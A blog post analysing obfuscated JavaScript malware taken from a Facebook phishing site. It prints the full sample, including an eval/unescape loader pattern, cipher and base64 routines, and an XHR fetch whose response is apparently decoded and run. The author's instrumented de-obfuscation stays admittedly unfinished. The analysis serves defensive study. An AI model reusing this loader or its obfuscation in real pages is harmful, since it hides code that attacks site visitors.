Analyzing Javascript Malware: Obfuscated Evil

Hiding Dirty Deeds: "Encrypted" Client-Side Code

Since Javascript must be downloaded to run on the client, its source is easily accessible. The code can be captured either during transport, from within the browser, or on disk from cache. For this and other reasons, Javascript malware writers - admittedly a special breed - must resort to all sorts of dirty tricks to hide their particularly-special brand of internet douchebaggery.

Obfuscation not only discourages casual reverse-engineering of the exploit used and its inner workings, it also makes it more difficult for internet security/virus-scanners to corrently identify and prevent the malware from running. If your code appears to be constructing a very large string with hex-encoded data (ie., attempting a buffer overflow condition with "shellcode" to execute arbitrary commands), then you're due to get flagged. If on the other hand you have some innocent-looking strings compressed or encrypted so as not to reveal their evil nature at first glance, your dirty work may in fact fly under the radar, undetected.

Tricks Of The Trade

Typically a Javascript-based malware exploit will be added to a site which may itself be malicious, via an iframe which loads a minimal HTML document that then loads the malicious script. In some cases, script in the iframe page will write out an escaped URL to another script element, eg. document.write(unescape('%3C%64%69%76%20%73%74....')) and so on. This has the effect of hiding the source URL of the script to "dumb" virus scanners, security firewalls and so on. To deal with this, your scanner should be able to recognize and decode escaped characters.

Another trick is to write Javascript code itself in an escaped block, following the same logic. For example, <script>eval(unescape('%3C%64%69%76%20%73%74'))</script> could give eval("alert('xss!')") or an exploit just the same and would require at least unescaping ability to scan.

Deeper obfuscation involves using Javascript to construct and run more Javascript including calling eval() with string replacement, decryption of otherwise-meaningless strings, unpacking and unescaping many short sequences of characters, fake, empty or null functions and multiple roundabout references, pointless ternary operators and redundant logic blocks.

The script I noticed today on a phishing site targeting Facebook users has, to the best of my knowledge, all of the above.

Holy Crap, This Thing Is Bad (Or, "Latin Lingo")

This particular beast was found in the wild in May 2009 on a site phishing for Facebook user credentials, and is a particularly-nasty bugger. Note the number of strangely-named variables created up front, many of which are not even referenced in the code blocks that follow. Additionally notice the odd ternary statements which have no impact on the operation of the code, and presumably must exist to trip up scanners (unless there is a fancy form of string replacement on the body of some functions, in which case the functions could be mutated before execution - and that would be scary. A cipher based on the body of the function has also been seen.)

Additionally, there is evidence of concatenating a string to be used for decryption/decoding and/or string substitution, in addition to string concatenation for referencing object attributes and methods eg. window and open(), as well as numerous deeply-nested function calls.

vaccae = 8211;
manere = '?';
mate = "661";
movens = "7e0";
ageque = "222";
obitus = 81;
apibus = 'ar';
lugebo = 'G';
dolori = "T";
acamas = "";
fulcra = 'nt';
colis = 'dy';
insis = 42;
diram = "ponse";
rimer = "8.";
decas = "n";
solant = '';
beatas = 6911;
tege = 814;
salmon = 'ASH';
capies = 'vwxyz01234';
adit = 'h';
fibula = 1;
ueluti = 256;
apum = "ea";
petat = 6;
dice = "ain";
testem = '.6';
tulit = 'gl';
visque = "p";
igitur = 64;
hoon = "e";
quires = 'do';
sinu = 'F';
gyri = 'dow';
audet = 'T';
nostro = 28;
quidem = 'L';
corna = 'et';
volvat = '854';
lectae = "0.59";
deoque = "9.276e3";
revoco = 'c';
veste = 55;
uisae = 'r';
anci = "4864";
tmarii = 'ow';
tuorum = 8921;
mdcqve = "t";
solari = 'l';
uisque = '10';
flendo = 3645;
cautum = 'at';
aderis = "dd";
uique = 'UNI';
avidum = 'o';
obsum = '.734';
portae = 838;
orant = '.25';
sinis = 8023;
turkey = 'en';
bogong = 8418;
vastis = 507;
funere = 9;
educam = 2425;
frenem = '#';
gladie = '(';
arti = 487;
oriens = 9485;
praue = 59;
urbum = 'au';
itas = 'wl';
aulide = 3007;
killer = 8;
unda = 'Y';
pastor = 'f';
velit = 5;
gunyah = 'tW';
niveae = 6438;
aequi = 'ret';
arctos = 'ghijk';
beroen = 'v';
pontet = 21;
rixae = 't';
danaos = 4;
lisci = 'xml';
verbis = '[H';
auersa = "body";
merui = 'n';
scylla = 'ie';
delato = 'y';
call = '.7';
risque = 'tV';
usoque = 'H';
cupidi = 'w';
famae = 'g';
incuso = 7;
campo = 's';
ungu = 71;
leti = 62;
ciebo = 2839;
amaras = 7783;
mens = "m";
punt = 're';
inibis = ' ';
eicio = 'K';
gimlet = 'ult';
ictui = "925";
nactus = '[';
silex = 26;
tonsa = "set";
tactui = "ri";
ludat = 'a';
tuti = 'self';
serva = 'A';
tactus = 0;
pioque = 119;
moles = 587;
primam = 'fault';
genite = 'O';
divico = '4';
foret = 2;
arcet = 'ML';
causae = "a";
apollo = 'e';
abditi = 'Q';
uagos = 23;
arcum = 'p';
parto = 'um';
mollio = 'el';
impia = 'M';
exeras = 'us';
gnati = (0.436, 'AB' + 'CDE' + 'F');
amoris = ('.930' > 65 ? 9e0: 'ring' + '');
function raucam(vecte) {
    obque = new vecte()
}
function matrem(fretus, bull) {
    for (famam = 0; famam < fretus; famam++) bull[famam] = famam
}
function tenuem(natant, arces) {
    for (famam = 0; famam < natant; famam++) {
        unius = (unius + obque[famam] + arces[claram](famam % arces[tranta])) % natant;
        velat = obque[famam];
        obque[famam] = obque[unius];
        obque[unius] = velat
    }
}
function fateor(fores, bickie) {
    famam = (famam + 1) % bickie;
    unius = (unius + obque[famam]) % bickie;
    piker();
    obque[unius] = velat;
    ferro(fores)
}
function piker(durum) {
    velat = obque[famam];
    obque[famam] = obque[unius]
}
function ferro(banjo) {
    tranem += quintyye[otii](banjo[claram](artis) ^ obque[(obque[famam] + obque[unius]) % 256])
}
function iamque(fores) {
    for (artis = 0; artis < fores[tranta]; artis++) {
        fateor(fores, 256)
    }
}
function neget(jabiru) {
    famam = jabiru;
    unius = jabiru
}
signa = (11. > 155 ? .218 : cient);
ducere = (.19, 'a');
('.3' < 8 ? signa: 6.)((8123., this));
mearum = (".77" > portae ? 2.36e2: pueros);
gnati += (ciebo >= divico ? '' + lugebo + usoque + 'I' + 'J' + eicio + quidem + impia + 'N' + 'O' + '': 0.51);
darent = (28 < "274" ? tabo: .55);
audiet = (9., iove);
puella = (4.51e2 < 0.28 ? 0.7 : decora);
tacitiyye = (6, darent);
obicis = (3e0, audiet)[(.1865 >= obsum ? 1.18e2: "documen" + "t")];
otii = (3.454e3 <= lectae ? 17 : 'fro') + (4.884e3, 'mC') + (.41 <= '0.5261' ? 'har': 1e0) + (0.78 <= 7 ? 'C': 8e0) + (4.834e3, 'ode');
tranta = (7e0, '' + 'le' + '') + (.967, 'ng') + (8e0, '' + 't' + adit + solant);
gnati += ('.7' < 4e0 ? solant + 'P' + 'Q' + 'R' + 'S' + audet + 'U' + solant: 1.118e3) + (.30, '' + 'VW' + 'X' + unda + 'Z');
cursui = (3532 > 230 ? 'ra' + delato: 1.88e2);
tumida = (8.8e1 > 302 ? 6912 : cautum + 'h' + solant);
uana = (.7 < 9.83e2 ? puella: foret);
sentio = (.643, 'unc') + (827, rixae + 'io' + 'n' + solant);
nepos = ("884" <= 8424 ? obicis: .826);
gnati += (.4 >= '923.' ? .46 : 'ab' + 'cd' + 'e') + ('.92' > 5. ? 3 : 'f' + arctos + 'lm');
ducis = (".7" > 0.9 ? 341.: 'e');
itavit = ('5.469e3' > 0.6404 ? nepos: 71);
volito = (9 >= 9706. ? beatas: evado);
palmam = (.1134 >= .97 ? 9.45e2: 'va');
gnati += (88. < '105.' ? solant + merui + 'o' + 'p' + 'q' + 'r' + 's' + rixae + 'u' + solant: funere) + (0.8, capies + solant) + (31 > '4091' ? .3 : solant + '5' + '6' + '7' + '8' + '9' + '+' + '/' + '=' + solant);
claram = (937, 'ch') + (261., 'arC') + (.491 < 441. ? solant + 'o' + 'd' + 'e' + serva + 't' + solant: 7.);
if ((.335, gnati)[("1493" >= .406 ? ducis: 89) + (.1 < '8.8e2' ? palmam: 91) + (0.902, 'l')]) {
    gnati = (.147, solant);
    itavit = (5 > '.3' ? gnati: .49)
}
miseri = (veste > 9.3e1 ? 968.: solant + 'o' + 'r' + 'ag' + 'e');
sibi = (7.96e2 <= .9 ? pontet: tulit);
metuet = (69, 'oba');
satque = (59, itavit);
function evado(cupiet, bluey, furens, koel) { ("8.176e3" >= moles ? raucam: 6e0)((2932., caedumaai));
    (0.48, matrem)((5. < 0.885e3 ? 256 : 96.), (flendo, obque));
    (6543 <= 106. ? 4464.: neget)(("0.1" >= 875. ? silex: 0));
    (38 <= 3 ? 952 : tenuem)((killer, ueluti), ("7.13e2" <= 4e2 ? 8.9e1: cupiet));
    (nostro, neget)(("23." >= .2 ? 0 : 67.));
    tranem = (476 >= 2.25e2 ? '': 49);
    (8e0, iamque)((9.974e3, bluey));
    return (3, tranem)
}
amoqueyya = (call >= 1647. ? 39.: satque);
function decora(aetas, stygis, mode, rhenum) {
    var iacit;
    return ('0.5' <= 6. ? iacit: 0.2)
}
arsiyya = new(3.2e1 <= .582 ? .876 : caedumaai)();
saltem = (.475, deerat);
obest = (49., ducere) + ('9527' < 9.06e2 ? 4585.: tacitiyye)((killer, gnati), (6940, 30));
paroneez = (3761., ducque);
sedas = (7689., saltem)((funere, 'r' + corna) + (0.536 <= 3998 ? solant + 'u' + uisae + 'n' + ' ' + solant: 3) + (5.734e3, '' + 'uana' + gladie + ')' + solant));
audiviiie = (vaccae, saltem)((petat, 'x'), (3e0, delato), (809, solant + 'r' + apollo + rixae + solant) + (3.3e1 <= 2. ? 3e1: 'u' + 'r' + merui + inibis) + (.7834 > 593. ? 9e0: solant + beroen + 'ol' + 'it' + 'o(' + 'x,' + delato + ')'));
figoeei = (3., saltem)(('3' <= 8.3e1 ? solant + 'x': 384.), (funere, aequi) + (6661 <= movens ? .4138 : solant + 'u' + uisae + merui + inibis + solant) + (178., beroen + 'o' + 'ca' + 'n' + campo + gladie + 'x' + ')'));
exuta = (645., '' + 'onr' + apollo) + (698 <= 41 ? 1173 : ludat + colis + campo + rixae) + (.97, 'atec') + ("84." <= vastis ? solant + adit + ludat + 'n' + famae + apollo + solant: 1.8e1);
(.9414, figoeei)((.51 < 1.2e1 ? obest: 965.));
function vocans(equo, novus, illas, fracp) {
    var texes = (6.49e2 < 3. ? 77.: sedas)();
    (50 <= 472 ? texes: 5.738e3)[(ungu, acamas + "o" + "p" + hoon + decas + "")]((0.7198 > .352 ? 'GET': 76.), (9e0, manere) + (velit < arti ? paroneez: 275)((.24, audiviiie)((978., solant + revoco + 'ra' + itas + 'o' + 'ov' + ''), (9.677e3 < 36. ? .765 : equo))), ("5.49e2" < 9.697e3 ? true: 948));
    (.16 > tege ? 6 : texes)[(0.18, exuta)] = function() {
        if ((0.13e2, texes)[(3218. < "2.7e2" ? 30.: "r" + "e" + "ad" + "y" + "S" + "ta" + mdcqve + hoon)] == (1, danaos) && (5490 <= "53" ? 0.575 : texes)[(3, "" + "s" + "t" + causae + "t" + "u" + "s" + "")] == ('2e0' > 900 ? 2e0: 200)) { (6905., saltem)((2.505e3, audiviiie)((2e0 >= '34' ? 4e1: equo), (".4" <= .66 ? mearum: 7.)((0.2, texes)[(3023 < 6.934e3 ? "res" + diram + dolori + hoon + "xt": .12)])))()
        }
    };
    (.12, texes)[(1.973e3 >= 4.131e3 ? .3288 : acamas + "s" + "e" + decas + "d")]((8.034e3, tactus))
}
function foras(cupiet, inimus, iacto, pontes) {
    var skivvy = emicatmoj["floor"](emicatmoj["random"]() * cupiet[tranta]);
    foeda += cupiet["substring"](skivvy, skivvy + 1)
}
function teneat(bluey, cupiet, foeda, stem) {
    for (famam = 0; famam < bluey; famam++) {
        foras(cupiet, famam, bluey, foeda);
    }
}
function tabo(cupiet, bluey, stem, stubby) {
    foeda = '';
    teneat(bluey, cupiet, foeda, stem);
    return foeda
}
function ducque(troiae, oberat, effata, mergi) {
    var servo = (killer <= 94 ? '': .9);
    var tranem;
    var famam;
    var uouero = (ageque >= .5 ? tactus: 66);
    var ardua = ('850' >= .59 ? fibula: insis);
    famam = (2.895e3 < "2151" ? .923 : 0);
    for (tranem = 0; famam < troiae[tranta]; famam++, tranem++) {
        uouero = uouero * 256 + troiae[claram](famam);
        ardua = ardua * 4;
        servo = servo + gnati["charAt"](parseInt(uouero / ardua));
        uouero = uouero % ardua;
        if (ardua == 64) {
            servo = servo + gnati["charAt"](parseInt(uouero));
            uouero = 0;
            ardua = 1;
            tranem++
        }
        if (tranem >= 75) {
            tranem = -1;
            servo = servo + '\n'
        }
    }
    if ((3e0, famam) % (3.996e3 <= '9' ? danaos: 3)) {
        servo = servo + gnati["charAt"](parseInt(uouero * ((famam % 3 == 1) ? 16 : 4)));
        servo = servo + ((famam % 3) == 1 ? '==': quintyye[otii](61))
    }
    return ("0.7" > 91 ? 616.: servo)
}
function pueros(troiae, salsis, dumque, initur) {
    var servo = (56., '');
    var famam;
    var uouero = (164, tactus);
    var ardua = (2e0 >= "86." ? 904 : fibula);
    for (famam = 0; famam < troiae[tranta]; famam++) {
        if (troiae["charAt"](famam) == quintyye[otii](61) || troiae["charAt"](famam) == '\n') break;
        uouero = uouero * 64 + gnati["indexOf"](troiae["charAt"](famam));
        ardua = (ardua == 1 ? 64 : ardua / 4);
        if (ardua != 64) {
            servo = servo + quintyye[otii](parseInt(uouero / ardua));
            uouero = uouero % ardua
        }
    }
    return (786, servo)
}
function cient(dolum, fracs, dulce, agamus) {
    this[(84., "iove")] = (667., dolum);
    if ((7.345e3, dolum)[(1423 <= "8.667e3" ? acamas + visque + causae + "r" + hoon + decas + mdcqve + "": 868)] == (5.2e1, dolum)) {
        iactet = (.35, solant + ludat + '')
    } else {
        ducere += (7.25e2, solant + '@' + solant)
    }
}

This script defines a mix of variables and functions, interleaved in blocks. Perhaps incomplete or buggy, it didn't seem to actually do anything when run; a second copy was later downloaded - the "encryption" algorithm seemed to change very quickly, as you'll see - and despite still not working, an analysis was attempted nonetheless.

Javascript Malware Analysis: An Attempt at De-Obfuscation

In this case, I tried to patch missing holes, replace variable substituations, remove concatenation and hack together replacements for undefined functions in the script to figure out what it was attempting to do. I also added console.log() output to see the execution order, etc. Things that were obvious were string concatenation and variable substitution to hide object and method names, and some sort of XHR object with a GET and readyStateHandler function towards the end - presumably the vector for another malicious payload, CSRF-style attack, or transmission of sensitive data.

Most of the listed functions appear to be for string and character manipulation and it became apparent that an alphanumeric string was being concatenated, presumably for decoding/decrypting purposes. Unfortunately I was unable to figure out exactly what the numerous nested calls to these functions might have been hiding, and after a few hours I had to give up.

// missing(?) function?
function arceateez(x) {
  console.log('arceateez arguments: '+arguments.length);
  for (var i=0; i<arguments.length; i++) {
    console.log('arg'+i+': '+arguments[i]);	
  }
  console.log('arceateez(): '+x+',: '+this.toString());
  return x;
}

// missing(?) function?
function venire(x,y,z) {
  console.log('venire length: '+arguments.length);
  for (var i=0; i<arguments.length; i++) {
    console.log('venire.arg'+i+': '+arguments[i]);	
  }
  console.log('venire: '+y);
  if (arguments.length == 3) {
    return z;
  }
  if (arguments.length == 2) {
	return y;
  }
}

// debugging
function whatis(o) {
  var x = null;
  for (x in o) {
    console.log('o['+x+']='+o[x]);	
  }
}

var totioov = Math; // missing, determined as correct given totioov["random"] references, etc.

// some variables replaced further down in code, commented out here
doni = 952;
// cultui = 'i';
comes = 683;
// ferque = 'ret';
lupa = 'l';
pulsos = 'S';
// sedat = "s";
noster = 'H';
// redias = "a";
cretae = 'Da';
orbes = "tA";
triduo = "attribu";
unguis = '3e0';
iuncti = 910;
milium = 1;
dicem = 'ow';
ciebas = 251;
// redis = 'urn ';
trudit = 15;
// uana = 'o(';
vina = 'ne';
vellem = 30;
linque = 'm';
mirata = '.4';
plenae = 49;
citato = 449;
incolo = '][';
// ferox = 'E';
hakea = "i";
uiro = 620;
colles = ".65";
parat = "1.";
scando = 498;
abiit = ')';
ambae = 14;
fronti = "264";
tarp = 'L';
fido = 'Q';
amitto = "4";
belah = 'w';
unquam = 'peo';
males = 216;
nympha = 'f';
famae = 27;
minaci = 'g';
saetas = "9.2e1";
// vulgus = 'c';
regios = 99;
flumen = 10;
signa = 2457;
vertet = "le";
gemina = "63.";
iussu = 'SH][UNIQ]';
ruetis = "9883";
aversa = 'M';
// naxon = 'e';
emique = 'b';
// limoso = "d";
verti = ".63";
caprae = '9e1';
// tyke = "o";
redet = '4e1';
putans = 'h';
levat = 'ay';
aquis = ' X';
ausos = "0.93";
// verret = "e";
beroe = 463;
caeco = 160;
// torvis = "ons";

// blue = 'n';
sentis = 'ef';
desit = 'A';
desis = 'X';
ibit = 231;
iungam = 'ues';
// aequum = '';
aditis = 335;
// fossis = 'x';
cito = 's';
leuis = 19;
// tales = 'd';
vicero = 4;
niso = 'elf';
// aderam = 'a';
inviso = 'el';
// eaedem = 'r';
fallax = 348;
estate = 31;
labor = 'par';
iulios = 24;
tuba = "t";
caede = 'ML';
turmae = "C";
formae = ' ';
spinis = 34;
obicat = "ntEl";
lignea = 7;
coral = "ML";
// coepit = 'la';

// dugite = 'y';
vastos = "teE";
// town = 'o';
orandi = "9114";
socer = '0.2492';
ponta = 32;
// morsui = "yS";
prodet = '7.1e1';
iuvavi = 5;
rotas = 'aul';
// dextre = 't';
putant = '2';
earum = 'nd';
rumpi = 67;
vani = 'st';
verris = "8.913e3";
// avos = 'p';
thesea = '0 .4e1';
nigri = '8177';
somnis = (8 < '7421' ? 'A' + 'B' + 'C' + 'D' + 'E' + 'F': 5e0); // there's your decoding-string (?) hint..
spag = (5.91e2, 'r' + 'i' + 'n' + 'g');
function uolge(orba) {
    labo = new orba()
}
function telis(inque, peplum) {
	console.log('telis: '+inque+','+peplum);
    for (uenere = 0; uenere < inque; uenere++) peplum[uenere] = uenere
	console.log('telis-done: '+peplum);
}
function cereri(sumat, chop) {
	console.log('cereri: '+sumat+','+chop)
    for (uenere = 0; uenere < sumat; uenere++) {
        saniem = (saniem + labo[uenere] + chop[lerit](uenere % chop[ducem])) % sumat;
        shute = labo[uenere];
        labo[uenere] = labo[saniem];
        labo[saniem] = shute
    }
	console.log('cereri-done: '+whatis(labo));
}
function cupit(iarbas, romula) {
	console.log('cupit: '+iarbas+','+romula);
    uenere = (uenere + 1) % romula;
    saniem = (saniem + labo[uenere]) % romula;
    evado();
    labo[saniem] = shute;
    atrox(iarbas)
}
function evado(alia) {
	console.log('evado: '+alia);
    shute = labo[uenere];
    labo[uenere] = labo[saniem]
}
function atrox(sate) {
    saucia += boilyya[clarae](sate[lerit](finge) ^ labo[(labo[uenere] + labo[saniem]) % 256])
	console.log('atrox: '+saucia);
}
function award(iarbas) {
	console.log('award: '+iarbas);
    for (finge = 0; finge < iarbas[ducem]; finge++) {
        cupit(iarbas, 256)
    }
	console.log('award-done');
}
function locos(ruunt) {
    uenere = ruunt;
    saniem = ruunt
	console.log('locos()');
}
ludit = (.371, urbs);
invite = (2.9e1, 'a');
(492. <= "999" ? ludit: 6.42e3)((65, this));
rapiam = (90., erigit);
somnis += (91., 'G' + noster + 'IJ' + 'KL' + 'MN' + 'O');
clare = (.93, galea);
palmis = (.31 >= '6.15e2' ? .67 : bomb);
agnus = (5409, obunco);
formooov = (942, clare);
donat = ('8.1e1' < 0.6 ? 0.2e1: palmis)[(9.3e1, "document")];
clarae = (0.2 > 1.316e3 ? .49 : 'fr' + 'o' + '') + (.4, 'mC') + (fallax, '' + putans + 'a' + 'r') + (3e0, 'C') + (.690, 'ode');
ducem = (1, 'l' + 'e' + '') + (5.5e1, 'n' + minaci) + (0.639e3 <= 7 ? lignea: 't' + putans);
somnis += (5e0, 'P' + fido + 'R' + pulsos + 'T' + 'U') + (ibit, 'VWXYZ');
multum = (42, 'r' + levat + '');
marsh = (5554., 'ath');
lauro = (0.18, agnus);
eamque = (1.19e2 < "6658." ? 'u' + 'n' + 'c': 57) + (8., 't' + 'i' + 'o' + 'n'); // "function" string
helori = (5e0, donat);
somnis += (23.,'a' + emique + 'c' + 'd' + 'e') + (iuncti, 'f' + minaci + 'h' + 'i' + 'j' + 'k' + 'l' + linque);
legunt = (23 >= parat ? 'e': 0.9);
pedem = (0.5246 >= '3.75e2' ? 2.043e3: helori);
odio = (1.27e2 <= 9. ? 2.3e1: sensi);
arcana = (21., 'v' + 'a' );
somnis += (.106, 'nopqrstu') + (9.812e3 >= 2e0 ? 'vwxyz0' + '1234': .439) + (960 >= 11 ? '5' + '67' + '89' + '+/' + '=': 0.6e1);
lerit = (0.732, 'c' + 'h') + (24 <= '5.' ? 92 : 'a' + 'rC') + (23, 'o' + 'deAt' + ''); // charCodeAt
if ((.9 >= "7e0" ? 993.: somnis)[(4e0, legunt) + (9, arcana) + (0.633e3, lupa)]) {
	alert('null?');
    somnis = (.4, '');
    pedem = (226, somnis)
}
cita = (1e0, '' + 'o' + 'r' + 'a' + 'g' + 'e' + '');
perii = (.519, 'gl');
missum = (.2, 'oba');
uehi = (.8 < 77 ? pedem: .864);
function sensi(euntum, dictis, necata, aptat) {
(138, uolge)((622 >= 3.81e2 ? arceateez: 7582));
    (.744 <= '1.965e3' ? telis: 86)((874 < 7254. ? 256 : 0.983e3), ('6577 .' >= 345 ? labo: iuvavi));
    (milium, locos)((.664 > 0.5288 ? 0 : 3.2e1));
    (5e0 <= '83.' ? cereri: 2e0)((9811, 256), (4333., euntum));
    (0.68, locos)((.7 >= 518 ? 0.3e1: 0));
    saucia = (183, '');
    (6.6e1 >= 10. ? award: plenae)((iuvavi, dictis));
	console.log('sensi: '+','+euntum+','+dictis+','+necata+','+aptat);
	console.log('sensi-done: '+saucia);
    return (2773 > "6250" ? 1264 : saucia)
}
propeiie = (iuvavi, uehi);
function obunco(fallit, metius, actum, tegas) {
   console.log('obunco (lauro etc.): '+fallit+','+metius+','+actum+','+tegas);
   var caduci;
   return (8.027e3, caduci)
}
console.log('new arceateez?');
harenattr = new("1.89e2" > rumpi ? arceateez: 3488)();
console.log('harenattr: '+harenattr);
istoc = (92. > 55 ? venire: .1);
console.log('istoc: '+istoc);
scimus = (.2, invite) + (6., formooov)((0.8831 < 2.8e1 ? somnis: 3591.), (83 < 8.69e2 ? 30 : 9.831e3));
console.log('scimus: '+scimus);
ueniatiie = (3.9e1, spiret);
console.log('ueniatiie: '+ueniatiie);

aenea = (vicero <= '.84' ? 6.: istoc)(('.94' <= 7e0 ? 'ret': 6.394e3) + (.756 > colles ? 'urn ': 49.) + (6. >= ".929" ? 'la' + 'uro()': 3));

// S
aenea = 'return lauro()';
aenea = function() { console.log('aenea args.length: '+arguments.length); console.log('aenea: calling lauro():'); return lauro() }
// ---
norasjie = (.58, istoc)((orandi < .96 ? 8.5e1: '' + 'x' + ''), ('2e0' >= 4e0 ? 4392.: 'y'), (thesea > 5e0 ? 79 : 'r' + 'e' + 't' + '') + (.269, 'urn ') + (.5, 'o' + 'd' + 'i' + 'o(' + 'x,' + 'y' + abiit)); // return odio(x,y)

noraasjie = function(x,y) {return odio(x,y) }

usaqueqqe = (verti >= 3 ? 2.: istoc)(('9.15e2' <= .98 ? 501 : 'x' + ''), (440 <= 698 ? 'r' + 'e' + 't': 3e0) + (amitto > 6e0 ? .587 : 'u' + 'r' + 'n ') + (7.416e3, 'd' + 'a' + 'r' + 'e' + 'n' + 't' + '(' + 'x' + abiit)); // return darent(x)

console.log('usaqueqqe: '+usaqueqqe);

ignota = (17, 'o' + 'nr' + 'e') + (83., 'a' + 'd' + 'y' + 's' + 't') + ("9.5e1" > 9e0 ? 'a' + 't' + 'ec': 344) + (9107, '' + putans + 'a' + 'n' + minaci + 'e' + ''); // onreadystatec.. change?

// errors out

//            (2853 < 1666 ? 0.4364 : usaqueqqe)((0.255, scimus));
console.log(darent(scimus));

function darent(vertar, vestae, loqui, exire) {
console.log('darent: '+vertar+','+vestae+','+loqui+','+exire);

console.log('aenea: '+aenea);

var sonus = (787. > '.186' ? aenea: 319.)();

// fake XHR object (for testing)
sonus = {
	'open': function() {
		console.log('open function');
		for (var i=0; i<arguments.length; i++) {
		console.log(arguments[i]);
		}
	},
	'send': function() {
		console.log('send()');
		return function(){}
	},
	'onreadystatechange': function() {
		// ?
	}
}

// errors out

//                (0.6e1, sonus)[(.3501 > ".7865" ? 8 : "open")]((0.2529, 'GET'), (7.6e1, '?') + (9, ueniatiie)((7.42e2, norasjie)(('522' >= 0.24 ? 'obstoazz' + '': .49), ("8501" <= 1. ? 9 : vertar))), (3.7e2, true)); 
// XHR GET

    (900 >= 6e0 ? sonus: 5.5e1)[(2.47e2, ignota)] = function() {
// alert('onreadystate change handler');
        if ((67, sonus)[(70. >= 0.83 ? "readyState": 0.6338)] == (.4 >= 5046 ? 1.9e1: vicero) && (2.12e2, sonus)[(9e0, "status")] == (7108, 200)) { 
(mirata <= 75 ? istoc: .586)((.4541, norasjie)((signa, vertar), (.2368, rapiam)((5.8e1, sonus)[(5181., "responseText")])))()// presumably something very sketchy here using responseText - maybe an eval() of a JS payload, etc.
        }
    };

    (57 < .142 ? 2.6e2: sonus)[(.3 > "1600" ? 273 : "send")]((3, 0)) // send XHR

}
function uersas(euntum, conto, fugas, sinque) {
    var laurus = totioov["floor"](totioov["random"]() * euntum[ducem]);
    curare += euntum["substring"](laurus, laurus + 1)
	console.log('uersas: '+euntum+','+conto+','+fugas+','+sinque);
	console.log('uersas: curare='+curare);
}
function mensis(dictis, euntum, curare, tuae) {
    for (uenere = 0; uenere < dictis; uenere++) {
        uersas(euntum, uenere, dictis, curare);
    }
	console.log('mensis: '+dictis+','+euntum+','+curare+','+tuae);
}
function galea(euntum, dictis, tuae, subiit) {
	console.log('galea: '+euntum+','+dictis+','+tuae+','+subiit);
    curare = '';
    mensis(dictis, euntum, curare, tuae);
	console.log('galea-done: '+curare);
    return curare
}
function spiret(iurem, sueti, demo, paci) {
    // decoding/decryption function?
	console.log('spiret: '+iurem+','+sueti+','+demo+','+paci);
    var flecte = (7 < 1e0 ? 2e0: '');
    var saucia;
    var uenere;
    var nefas = (54, 0);
    var fixus = (4986. > trudit ? 1 : 0.229);
    uenere = (5356, 0);
    for (saucia = 0; uenere < iurem[ducem]; uenere++, saucia++) {
        nefas = nefas * 256 + iurem[lerit](uenere);
        fixus = fixus * 4;
        flecte = flecte + somnis["charAt"](parseInt(nefas / fixus));
        nefas = nefas % fixus;
        if (fixus == 64) {
            flecte = flecte + somnis["charAt"](parseInt(nefas));
            nefas = 0;
            fixus = 1;
            saucia++
        }
        if (saucia >= 75) {
            saucia = -1;
            flecte = flecte + '\n'
        }
    }
    if ((0.3e1 >= .22 ? uenere: ponta) % (0.3514 <= gemina ? 3 : ciebas)) {
        flecte = flecte + somnis["charAt"](parseInt(nefas * ((uenere % 3 == 1) ? 16 : 4)));
        flecte = flecte + ((uenere % 3) == 1 ? '==': boilyya[clarae](61))
    }
	console.log('spiret-done: '+flecte);
    return (3.243e3 <= "160" ? 0.73e2: flecte)
}
function erigit(iurem, atrae, snit, marron) {
    // decoding/decryption function?
	console.log('erigit: '+iurem+','+atrae+','+snit+','+marron);
    var flecte = (4.171e3, '');
    var uenere;
    var nefas = (4.26e2, 0);
    var fixus = (8433. > 509 ? milium: 503);
    for (uenere = 0; uenere < iurem[ducem]; uenere++) {
        if (iurem["charAt"](uenere) == boilyya[clarae](61) || iurem["charAt"](uenere) == '\n') break;
        nefas = nefas * 64 + somnis["indexOf"](iurem["charAt"](uenere));
        fixus = (fixus == 1 ? 64 : fixus / 4);
        if (fixus != 64) {
            flecte = flecte + boilyya[clarae](parseInt(nefas / fixus));
            nefas = nefas % fixus
        }
    }
	console.log('erigit-done: '+flecte);
    return (9.04e2 > '5.9e1' ? flecte: 0.503)
}
function urbs(terram, wrap, equo, oronti) {
	console.log('urbs: '+terram+','+wrap+','+equo+','+oronti);
    this[(9.57e2, "bomb")] = (vicero > "977" ? 7580 : terram);
    if ((63 <= 0.61e3 ? terram: 89)[(4e0, "parent")] == (0.6410, terram)) {
        pestem = (.7 <= verris ? 'a': 1.645e3)
		console.log('urbs/pestem: '+pestem);
    } else {
        invite += (5080., '@')
		console.log('urbs/invite: '+invite);
    }
}

The following is the Firebug console.log() output from the above script, which I added to try to see its run-time behaviour, running to a point where I believe it tries to make a GET request via a xmlHttpRequest object:


urbs: [object Window],undefined,undefined,undefined
urbs/pestem: a
new arceateez?
arceateez arguments: 0
arceateez(): undefined,: [object Object]
harenattr: [object Object]
istoc: function venire(x, y, z) { console.log("venire length: " + arguments.length); for (var i = 0; i < arguments.length; i++) { console.log("venire.arg" + i + ": " + arguments[i]); } console.log("venire: " + y); if (arguments.length == 3) { return z; } if (arguments.length == 2) { return y; } }
galea: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,30,undefined,undefined
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,0,30,
uersas: curare=E
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,1,30,
uersas: curare=Eq
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,2,30,
uersas: curare=Eqh
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,3,30,
uersas: curare=Eqhm
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,4,30,
uersas: curare=EqhmM
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,5,30,
uersas: curare=EqhmMT
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,6,30,
uersas: curare=EqhmMTE
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,7,30,
uersas: curare=EqhmMTEc
uersas: ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,8,30,
uersas: curare=EqhmMTEcX
